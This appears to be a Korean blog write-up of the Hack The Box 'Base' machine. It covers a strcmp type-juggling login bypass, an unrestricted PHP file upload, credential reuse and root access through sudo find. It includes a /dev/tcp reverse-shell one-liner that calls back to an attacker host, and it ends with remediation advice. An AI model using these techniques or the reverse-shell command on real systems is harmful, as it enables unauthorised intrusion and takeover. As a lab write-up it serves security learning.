(Hack The Box) Base Write up
Base Write up
정보수집
Port Scan
nmap을 통해 공격 머신에 포트스캔을 시도합니다. 22번과 80번 포트가 열려있네요 :)
22번 포트는 OpenSSH를 사용하고 있고, 80번 포트로 웹 어플리케이션을 서비스 중입니다.
Web Application 확인
Base라는 타이틀의 웹 서비스를 하고있으며, 네비게이션 바의 대부분 메뉴 버튼은 앵커링크로 되어 있었습니다. Login 버튼은 별도의 페이지로 이동되는 것을 확인할 수 있었습니다.
앵커링크(Anchor Link)란 웹페이지 내에서 특정 위치로 바로 이동할 수 있도록 설정된 하이퍼링크
Login 버튼을 누르면 로그인 페이지로 이동합니다. 경로는 /login/login.php
로 PHP로 개발된 것을 확인할 수 있었습니다.
취약점 진단 및 공격
Directory Indexing (디렉터리 인덱싱) 및 swp 파일 노출
http://{공격 대상 머신 IP}/login/
으로 이동 시 디렉토리 인덱싱(Directory Indexing) 취약점이 발생한 것을 확인할 수 있습니다. root 디렉터리 외에 다른 디렉터리들의 파일들을 확인할 수 있습니다!
아래 경로에는 login.php.swp 이라는 파일을 확인할 수 있는데 swp 파일은 vi, vim 에디터에서 사용되는 임시파일입니다.
swp파일은 php 확장자가 아니라서 다운로드가 가능합니다.
swp 파일은 보통 Vim 또는 vi 편집기가 생성하는 스왑 파일(swap file)
이 파일은 사용자가 파일을 편집하는 도중 발생할 수 있는 데이터 손실을 방지하기 위해 만들어지는 임시 파일
login.php.swp
파일을 다운로드 후 vim -r login.php.swp
명령어로 임시파일을 불러올 수 있습니다. 해당 파일은 login.php파일을 작업 중에 발생한 임시파일로 login.php의 일부 소스코드를 확인할 수 있습니다.
PHP type juggling
로그인페이지의 소스코드로 인증부분을 분석해봅시다. $username
과 $_POST['username']
와 같이 username
과 password
의 문자열들을 비교하여 로그인에 성공하면 세션을 부여하고 upload.php
로 이동 시키는 형태입니다.
여기서 확인해야할 부분이 strcmp
를 통해 변를 비교하며 ==
를 사용한다는 것입니다. 이는 php type juggling
이라는 취약점 발생할 가능성을 가지고 있습니다.
php type juggling이란
PHP에서 변수의 데이터 타입을 명시적으로 선언하지 않아도 상황에 따라 자동으로 타입을 변경하는 것을 juggling이라 함
==(느슨한 비교)로 인해 데이터 타입을 자동으로 변환하거나 비교하는 방식을 통해 발생하며, ===(엄격한 비교)를 통해 대응이 가능함 (PHP 자료형 비교표 참고)
strcmp()함수는 두 변수의 문자열을 비교하는 함수로 비교 후 반환하는 값은 아래와 같습니다.
strcmp($string1, $string2) 반환값 : string1이 string2보다 작으면 -1, string1이 string2보다 크면 1, 같다면 0을 반환합니다.
strcmp 함수의 반환 값들의 예시는 아래와 같습니다.
1
2
3
4
5
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
strcmp 함수 외에 여러개 변수를 비교하고 NULL
, 0
, False
, True
과 같은 다양한 값을 반환하는 함수는 모두 사용 시 유의해야합니다.
strcmp 함수의 리턴 값과 type juggling을 이용하여 인증을 우회할 수 있습니다.
$_POST['username']
에 문자열이 아닌 배열 형태의 데이터를 입력할 수 있다면 if문을 우회할 수 있습니다.
if ( strcmp("username", Array()) == 0 ) { 우회 성공 }
→ 여기서 strcmp의 반환 값을 NULL이 됩니다.
if ( NULL == 0 ) { 우회 성공 }
→ strcmp의 반환 값을 적용한다면 조건문은 이처럼 됩니다.
여기서 == (느슨한 비교) 비교표를 확인해 봅시다.
NULL 과 0을 == 로 비교 시 TRUE를 반환하게 되어 조건문을 통과할 수 있습니다 🙂
===(엄격한 비교)를 사용하면 해당 조건문은 FALSE를 반화하여 우회할 수 없습니다 😟
여기서 우리는 username
과 password
를 비교하는 2개의 조건문을 우회해야하기 때문에 아래처럼 공격이 가능합니다.
HTTP 파라미터 이름을 변경합니다. username → username[]
이처럼 변경한다면 PHP는 이를 배열로 판단하게 되어 우회가 가능합니다.
Arbitrary File Upload(임의의 파일 업로드)
인증 우회에 성공하여 파일 업로드 페이지에 접근할 수 있게 되었습니다. 이제 PHP 파일을 업로드할 수 있는지 테스트해보겠습니다.
echo "<?php phpinfo(); ?>" > test.php
로 php 정보를 출력하는 함수를 실행하는 test.php를 생성 후 업로드를 시도해봅니다.
또는 임의의 파일을 업로드한 후 Burp Suite를 사용하여 패킷을 수정해 업로드할 수도 있습니다. 아래와 같이 업로드 성공 메시지를 확인할 수 있습니다.
파일 업로드 시 확장자나 Content-type에 대한 필터링이 없는 것을 확인했습니다. :)
파일 업로드는 성공했지만 파일이 어떠한 디렉터리 및 경로에 업로드된지 알 수 없기에 gobuster
를 이용해서 관련 디렉터리가 있는지 확인합니다.
gobuster dir -u "http://{공격 대상 머신 IP}/" -w /usr/share/wordlists/dirb/big.txt
_uploaded
라는 의심스러운 디렉터리를 찾을 수 있습니다.
http://{공격 대상 머신 IP}/_uploaded/
로 이동하여 해당 경로에서 업로드된 test.php 파일을 확인할 수 있습니다.
이를 통해 upload.php를 통해 업로드한 파일은 _uploaded
디렉터리에 저장된다는 사실을 알 수 있습니다.
test.php로 이동하여 phpinfo()
함수가 실행되는지 확인합니다. 업로드한 PHP 소스코드가 실행되는 것을 확인하였습니다.
웹쉘이나 리버스쉘에 필요한 함수가 비활성화되어 있는지 확인해봅시다.
disable_functions
에 명령어 실행관련 함수가 설정되어 있다면 웹쉘이나 리버스쉘에 어려움이 있을 수 있습니다.
open_basedir
설정은 PHP 스크립트가 접근할 수 있는 디렉토리 경로를 제한하는 설정입니다. 예를 들어 /var/www/html
가 설정되어 있다면, php환경에서 LFI(Local File Inclusion)취약점을 통해 /etc/passwd
와 같은 파일들을 접근할 수 없습니다.
Reverse Shell
다행히 웹쉘 및 리버스쉘에 걸림돌이 될만한 설정은 보이지 않습니다.
리버스쉘을 작성하여 파일을 업로드 합니다.
revshell.php 로 업로드 후 잘 업로드 되었는지 확인합니다. 그리고 nc -lvnp 443
으로 공격자 머신에서 리버스쉘을 대기 후 revshell.php를 실행시킵니다.
revshell.php을 통해 성공적으로 쉘을 획득할 수 있었습니다. 웹서버 권한으로 쉘을 얻었으며 여기서 추가적인 정보 수집을 통해 사용자 권한을 획득해야합니다.
사용자 권한 획득
/etc/passwd
파일을 확인하여 사용자를 확인합니다.
john이라는 사용자가 있는 것을 확인했습니다. 그리고 john의 패스워드로 추측이 가능한 패스워드를 찾습니다.
login.php의 소스코드를 기반으로 username과 password가 config.php에 정의되어 있단 걸 확인 후 config.php파일을 확인해봅시다. 아래 처럼 패스워드를 확인할 수 있습니다.
해당 패스워드를 통해 john으로 로그인을 시도하여 john 사용자 권한의 쉘을 획득할 수 있었습니다.
권한 상승
권한 상승을 위해 sudo -l
명령어를 통해 john 사용자로 sudo 명령어가 허용되어 있는지 확인합니다.
sudo -l
은 리눅스/유닉스 시스템에서 현재 사용자가 실행할 수 있는sudo
명령의 권한과 관련된 정보를 보여주는 명령어
이를 통해 사용자는 특정 명령을 관리자 권한으로 실행할 수 있는지 확인이 가능
사용자가sudo
명령을 사용할 수 있는지, 그리고 어떤 명령에 대해 권한이 있는지 확인.
예를 들어, 특정 파일이나 명령에 대해 관리자 권한이 허용되었는지 볼 수 있음.
sudo -l
명령어 결과에 root 사용자와 root 그룹의 권한으로 /usr/bin/find
명령어가 사용가능하다는 것을 확인할 수 있습니다.
sudo /usr/bin/find
명령어를 사용하면 root권한으로 명령어 사용이 가능합니다.
여기서 우리는 root 권한으로 명령어를 실행하는 것이 목적이기 때문에 명령어 실행방법을 찾아야합니다.
find
의 옵션 중 -exec
옵션이 존재합니다.
-exec
옵션은 find
를 통해 특정 파일이나 디렉터리를 찾고, 그 결과에 대해서 명령어를 실행할 수 있는 옵션입니다. 자동화된 작업이나 특정 조건에 맞는 파일에 대해서 일괄 처리를 할 수 있습니다.
예를 들면 find ./ -name "*" -exec ls -al {} \;
명령어를 실행할 경우, 현재 경로에서 모든 파일과 디렉터리를 검색 후 해당 파일/디렉터리 명으로 ls -al
를 실행합니다. {}
에는 검색 결과가 하나씩 적용되게 됩니다. \;
는 -exec
의 옵션 값의 끝(end)을 명시해줍니다.
명령어 예시 : find <경로> <조건> -exec <명령어> {} \;
우린 하나의 명령어만 실행하면 되기 때문에 검색 결과가 하나가 되도록 하나의 파일을 검색합니다.
그리고 -exec
옵션을 이용해 id
명령어를 테스트해봅니다.
id
명령어가 root 권한으로 실행되는 것을 확인할 수 있었습니다.
-exec
로 실행한 명령어는 모두 root권한으로 실행되기 때문에, root 권한으로 리버스쉘을 연결합니다.
sudo find user.txt -exec sh -i >& /dev/tcp/{공격자 머신 IP}/{Port} 0>&1 \;
공격자 머신에서 444포트로 리버스쉘이 연결되는 것을 확인할 수 있었습니다.
id
를 통해 현재 쉘이 root권한인지 확인할 수 있습니다.
:)
대응방안
취약점의 대응방안을 간략하게 적어보았습니다.
디렉터리 인덱싱
httpd.conf
또는apache2.conf
설정파일에서 아래 처럼Options -Indexes
로 설정1 2 3
<Directory /var/www/html> Options -Indexes </Directory>
swp(스왑)파일 비활성화
스왑 파일은 Vim의 설정 파일인
.vimrc
또는 전역 설정 파일/etc/vim/vimrc
에서 아래 구문을 추가하여 비활성화set noswapfile
php type juggling
조건문 사용 시 각 변수나 함수의 값을 예측하여 ===(엄격한 비교)를 사용하여 적절하게 조건문을 만들어야함
임의 파일 업로드
파일 업로드 시 Content-Type, 파일의 확장자 및 파일 시그니처를 검증하여 화이트리스트 형태로 필터링이 필요
아이디 패스워드 평문 저장
중요정보인 아이디/패스워드를 파일에 평문으로 저장하지 않고 Database를 통해 암호화하여 저장 후 비교하여 사용
sudo -l
sudoers
파일 수정 하여 불필요한 권한 제거
참조
https://www.php.net/manual/en/language.operators.comparison.php